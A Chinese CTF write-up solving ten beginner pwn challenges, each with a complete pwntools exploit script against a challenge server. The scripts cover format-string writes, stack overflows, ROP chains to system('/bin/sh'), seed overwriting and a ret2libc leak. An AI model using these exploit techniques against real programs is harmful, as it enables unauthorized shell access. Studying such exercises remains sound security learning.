攻防世界pwn之新手區


涉及的工具有

Ubuntu 16.04

pwntools

IDA

gdb-peda

 

1、get_shell

連接就給flag,可以直接用nc連接,然后輸入ls查看里面的目錄,發現有名字叫flag文件,cat flag得到flag

 

 64位的ELF  保護機制只有NX

 然后用IDA看看,找到main函數,查看偽代碼

system函數可以直接獲得shell ,連接就可以獲得get shell

from pwn import *
r=remote('111.198.29.45',51214)
r.interactive()

 

 

2、CGfsb

先看看文件位數和保護機制

 這里利用的是格式化字符串漏洞,當printf后面帶的是%n,那么它會把前面的字符串的長度輸入到內存中,只需要讓n前面有八個字符,就可以讓s等於8,pwnme=s=8,就可以cat flag

 尋找一下輸入的參數在printf函數中的位置,通過不斷打印%x泄露內存的地址,發現61616161在第10位,61是a的ascll碼

 

那么可以構造exp

804a068是pwnme的地址,‘aaaa’和n前面的字符湊成8個字符 ,$是偏移量,意味着偏移了10

rom pwn import *
r=remote('111.198.29.45',46202)

r.recvuntil("please tell me your name:")
r.sendline('name')

payload=p32(0x804a068)+'aaaa'+'%10$n'
r.sendline(payload)

r.interactive()

執行結果

 

 

 

3、when_did_you_born

檢查保護機制

 然后拖到IDA

 要使v5輸入1926才能cat flag  但是一輸入1926就退出程序了,gets函數可以溢出,我們就可以在輸入的名字(v4)的時候填充無意義字符使其溢出,把v5原本的值覆蓋掉,替換成1926

在IDA雙擊&4(var_20)和&5(var_18)  發現它們相差0x8個字符。

 

 當v4輸入的長度大於0x8個字符,大於8個的數會覆蓋掉v5,使v5重新賦值

那么可以構造腳本

from pwn import *
r=remote('111.198.29.45',51232)

r.recvuntil("What's Your Birth?")
r.sendline('2019')   #隨便填

r.recvuntil("What's Your Name?")
payload='a'*0x8+p32(0x786)  #0x786的十進制是1926
r.sendline(payload)
r.interactive()         

執行,獲取flag

 

 

 

4、hello_pwn
64位的ELF

 打開了NX保護

 

 丟到IDA看看,只需要讓dword_601068等於1853186401就可以執行sub_400686函數獲取flag

read存在溢出,且unk_691968和dword_60106c偏移量為4,那么很輕松就可以覆蓋dword_60106c的值

 

 編寫腳本

from pwn import *
#p=process('./hello_pwn')
p=remote('111.198.29.45',31449)
payload = 'a'*0x4+p64(1853186401)
p.recvuntil("bof")
p.sendline(payload)
p.interactive()

執行

 

 

 

5、level0
程序是64位

 

NX保護

 

 看看偽代碼先

 返回vulnerable_function函數,read函數存在溢出

看看其他函數,_system函數可以執行系統命令

 

 shift+F12看看字符串,發現有shell

 

 思路很明確,讓read函數溢出然后執行system函數,並讓system函數的參數為/bin/sh, 我們就可以get到shell了

但是這是一個64位的程序,與32位不同,無法直接傳參進去,64位的程序會先把參數先存入寄存器中,前六個參數按順序存儲在寄存器rdi, rsi, rdx, rcx, r8, r9,所以我們需要找到rdi的地址

然后再找到‘/bin/sh’的地址

以及system的地址

 

 腳本如下

from pwn import *
r=remote('111.198.29.45',47491)
rdi_add=0x400663
shell_add=0x400684
sys_add=0x400460

payload='a'*0x88+p64(rdi_add)+p64(shell_add)+p64(sys_add)
r.sendline(payload)
r.interactive()

 

 --------------------------分割線------------------------------------

后面承認我瞎,沒有看到callsystem函數可以直接調用shell

 重新寫腳本

from pwn import *
r=remote('111.198.29.45',47491)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()

 結果如上,不再演示




6、level2

 

32位的ELF   只有NX保護

 

 丟到IDA看看,引用vulnerable_funcion函數

system可以執行

 

shift+F12同樣看到了shell

 

 思路跟上一題差不多,直接read溢出,利用system函數傳參來get shell

腳本如下

from pwn import *
r=remote('111.198.29.45',45695)
sys_add=0x8048320
shell_add=0x804a024
payload='a'*(0x88+0x4)+p32(sys_add)+'aaaa'+p32(shell_add) #aaaa是無效的返回地址
r.sendline(payload)
r.interactive()

執行結果

 

 

8、guess_num

檢查文件

 用IDA打開看看

 

 需要連續猜中10次才能得到flag,但是上面函數有gets這個危險的函數

 

 v9經過0x20個字符就溢出到seed,那么如果把seed[0]變成我們可控的數字,就可以使v6和v8相等,得到flag

借鑒大佬的exp

from pwn import *
from ctypes import *  #python標准庫中自帶的ctypes模塊進行python和c的混合編程

r=remote('111.198.29.45',34125)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload='a'*0x20+p64(1)
r.recvuntil("\n")
r.sendline(payload)
libc.srand(1)
for i in range(10):
        num=str(libc.rand()%6+1)
        r.recvuntil('\n')
        r.sendline(num)

r.interactive()

libc的共享庫可以用ldd調用

執行結果

 

 

 

 

9、int_overflow

詳細解題思路鏈接

https://bbs.pediy.com/thread-254851.htm

 

先把流程走一遍

 選1可以輸入名字和密碼(密碼要3到8位)否則判定無效數字,選2直接退出,然后我們看看判斷的函數

 v3是一個無符號類型的數字,意味着范圍只能到0-255,如果輸入256,那么他會輸出0,這里存在整數溢出,無論是3~8還是259~264都是可以通過驗證的,那么就可以通過strcpy的棧溢出覆蓋what_is_this的返回地址,來獲得flag

 exp如下

from pwn import *
r=remote('111.198.29.45',50332)
e=ELF("./int_overflow")
what_is_this_addr=e.symbols['what_is_this']

r.recvuntil('Your choice:')
r.sendline('1')
r.recvuntil('Please input your username:')
r.sendline('aaa')
r.recvuntil('Please input your passwd:')

payload='a'*(0x14+0x4)+p32(what_is_this_addr)
payload=payload.ljust(262,'a')

r.sendline(payload)
r.interactive()

執行結果

 

 

 

 

 10、cgpwn2

先檢查發現是一個32位的程序,只有NX保護

 

 用IDA打開

 

 上面那一大串沒什么用,但是有fgets函數和gets,同時name在bss段中,是全局變量

 思路就是 用fgets輸入“/bin/sh“,返回地址覆蓋成system的地址,再把傳參(/bin/sh)到system里面即可get shell了

from pwn import *

r=remote('111.198.29.45',31947)
name_addr=0x804A080   #bss段中name的地址
e=ELF("./cgpwn2")
sys_addr=e.symbols["system"] #獲取system的地址

r.recvuntil("\n")
r.sendline("/bin/sh")

payload='a'*(0x26+0x4)+p32(sys_addr)+p32(0xaaaa)+p32(name_addr) #0xaaaa是system的返回地址,隨便填
r.recvuntil("\n")
r.sendline(payload)
r.interactive()

執行結果

 

 

11 level3

ret2libc

因為之前做過,故不在演示

https://www.cnblogs.com/gaonuoqi/p/11684294.html

思路:通過read函數的棧溢出返回到write函數泄露出write本身或者read的地址,雖然libc里面的地址是隨機的,但是函數的相對位置是固定的,知道了read或wirte的真實地址就可以通過偏移量找到libc里面的system和/bin/sh,之后再次返回到vulnerable_funciton進行二次read的棧溢出,返回地址是system,並傳入參數/bin/sh構造system(/bin/sh)

exp如下

from pwn import *
r=remote('111.198.29.45',33181)

e=ELF('./level3')
write_got=e.got['write']
write_plt=e.plt['write']
func_addr=e.symbols['vulnerable_function']

payload='a'*(0x88+0x4)+p32(write_plt)+p32(func_addr)+p32(0x1)+p32(write_got)+p32(0x4)
r.recvuntil('Input:\n')
r.sendline(payload)

write_addr=u32(r.recv(4))

libc=ELF('./libc_32.so.6')
write_libc=libc.symbols['write']
sys_libc=libc.symbols['system']
bin_libc=libc.search('/bin/sh').next()

offset=write_addr-write_libc
sys_addr=offset+sys_libc
bin_addr=offset+bin_libc

payload2='a'*(0x88+0x4)+p32(sys_addr)+p32(func_addr)+p32(bin_addr)
r.recvuntil('Input:\n')
r.sendline(payload2)

r.interactive()

 執行結果

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM